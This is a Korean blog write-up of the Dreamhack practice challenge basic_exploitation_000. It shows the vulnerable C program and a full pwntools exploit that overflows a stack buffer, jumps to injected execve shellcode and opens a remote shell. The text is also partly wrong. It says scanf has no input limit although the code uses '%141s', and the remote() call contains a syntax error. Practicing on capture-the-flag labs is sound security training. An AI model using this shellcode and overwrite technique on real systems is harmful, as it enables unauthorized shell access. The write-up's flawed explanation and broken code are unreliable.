촉촉한초코칩
[Dreamhack] basic_exploitation_000 본문
프로그램의 취약점을 찾고 익스플로잇 해 쉘 획득 후 flag 파일을 읽는다.
취약점
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
취약점 : buf의 크기는 0x80으로, 10진수로 128인데 scanf 함수에서 입력할 개수를 정해주지 않았기 때문에 overflow가 발생할 수 있다.
스택 프레임 구조
ret 값을 덮어쓰려면 132 바이트를 채운 다음, buf의 주소를 넣어주면 buf로 돌아가서 쉘 코드를 실행시킨다.
= ret를 buf의 초반부 주소로 overwrite하기
이 문제에서는 pwntools 모듈을 사용한다.
익스플로잇
buf의 주소는 실행 시 출력된다.
from pwn import *
p = remote('host3.dreamhack.games'.31337)
p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16) # 출력된 buf의 위치 저장
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x11" * 106
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
'Study > System' 카테고리의 다른 글
(**) BombLab 4 (0) | 2024.05.09 |
---|---|
[Dreamhack] basic_exploitation_001 (0) | 2024.03.31 |
[Dreamhack] Return Address Overwrite (1) | 2024.03.31 |
Bomb Lab Phase 1-3 (0) | 2024.03.24 |
[DreamHack] Quiz: x86 Assembly 2, Quiz: x86 Assembly 3 (0) | 2024.03.17 |